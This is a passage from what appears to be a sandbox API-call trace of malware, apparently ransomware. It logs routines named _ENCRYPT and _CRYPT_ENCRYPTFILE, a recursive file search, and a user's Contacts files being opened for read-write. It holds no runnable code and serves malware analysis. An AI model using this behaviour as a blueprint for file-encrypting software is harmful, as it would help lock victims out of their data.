out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0019.901] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0019.901] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0019.901] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0019.901] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0019.901] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0019.901] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0019.901] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0019.901] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0019.902] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0019.902] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0019.902] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0019.902] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0019.902] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0019.902] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0019.903] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0019.903] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0019.903] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0019.903] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0019.903] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0019.903] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0019.904] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0019.904] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0019.905] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0019.905] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0019.906] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0019.906] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0019.906] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0019.906] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0019.908] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0019.908] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0019.908] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0019.908] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0019.908] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0019.909] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0019.909] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0019.909] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0019.909] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0019.909] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0019.911] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0019.935] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0019.935] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0019.935] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0019.936] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0019.936] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0019.936] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0019.942] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0019.942] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0019.942] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0019.949] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0019.949] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0019.949] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0019.949] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0019.949] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0019.949] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0019.950] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0019.950] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0019.950] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0019.950] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0019.950] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0019.950] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0019.950] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0019.951] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0019.951] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0019.951] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0019.951] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0019.951] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0019.991] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0020.034] Shell_NotifyIconW (dwMessage=0x1, lpData=0xe8f3dfe790) returned 1 [0020.042] KillTimer (hWnd=0x3002c, uIDEvent=0x1) returned 1 [0020.042] SetTimer (hWnd=0x3002c, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0020.042] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0020.042] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0020.042] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0020.043] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="i", cchCount1=1, lpString2=".", cchCount2=1) returned 3 [0020.043] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ni", cchCount1=1, lpString2=".", cchCount2=1) returned 3 [0020.043] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ini", cchCount1=1, lpString2=".", cchCount2=1) returned 3 [0020.043] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".ini", cchCount1=1, lpString2=".", cchCount2=1) returned 2 [0020.043] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0020.043] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0020.043] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0020.043] FindFirstFileW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Contacts\\desktop.ini", lpFindFileData=0xe8f3dfe9b0 | out: lpFindFileData=0xe8f3dfe9b0) returned 0xe8f40edc10 [0020.043] FindClose (in: hFindFile=0xe8f40edc10 | out: hFindFile=0xe8f40edc10) returned 1 [0020.044] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0020.044] FindFirstFileW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Contacts\\desktop.ini", lpFindFileData=0xe8f3dfe9b0 | out: lpFindFileData=0xe8f3dfe9b0) returned 0xe8f40edc10 [0020.044] FindClose (in: hFindFile=0xe8f40edc10 | out: hFindFile=0xe8f40edc10) returned 1 [0020.044] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0020.044] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0020.044] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0020.045] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0020.045] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0020.045] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0020.045] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0020.045] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0020.045] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0020.046] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0020.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0020.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f41787e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0020.046] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0020.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0020.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f41787e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0020.046] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0020.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Contacts\\lulcit amkdfe.contact", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0020.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Contacts\\lulcit amkdfe.contact", cchWideChar=52, lpMultiByteStr=0xe8f404ba10, cbMultiByte=52, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Contacts\\lulcit amkdfe.contact", lpUsedDefaultChar=0x0) returned 52 [0020.046] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\5jghkoaofdp\\contacts\\lulcit amkdfe.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0020.047] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=52, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 52 [0020.047] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=52, lpWideCharStr=0xe8f4062640, cchWideChar=52 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Contacts\\lulcit amkdfe.contact") returned 52 [0020.047] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0020.047] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0020.047] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0020.047] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0020.048] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0020.048] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0020.048] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0020.048] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0020.048] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0020.048] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0020.048] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0020.048] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0020.048] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0020.048] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0020.048] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0020.048] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0020.048] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0020.048] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0020.048] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0020.048] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0020.048] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0020.048] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0020.048] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0020.048] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0020.048] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0020.049] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0020.049] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0020.049] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0020.049] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0020.049] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0020.049] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0020.049] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0020.049] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0020.049] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0020.049] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0020.049] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0020.049] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0020.049] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0020.049] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0020.049] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0020.049] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0020.049] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0020.049] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0020.049] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0020.049] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0020.049] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0020.049] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0020.049] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0020.049] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0020.049] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0020.049] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0020.049] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0020.049] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0020.050] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0020.050] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0020.050] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0020.050] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0020.050] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0020.050] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0020.050] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0020.050] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0020.050] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0020.050] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0020.050] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0020.050] PeekMessageW (in: 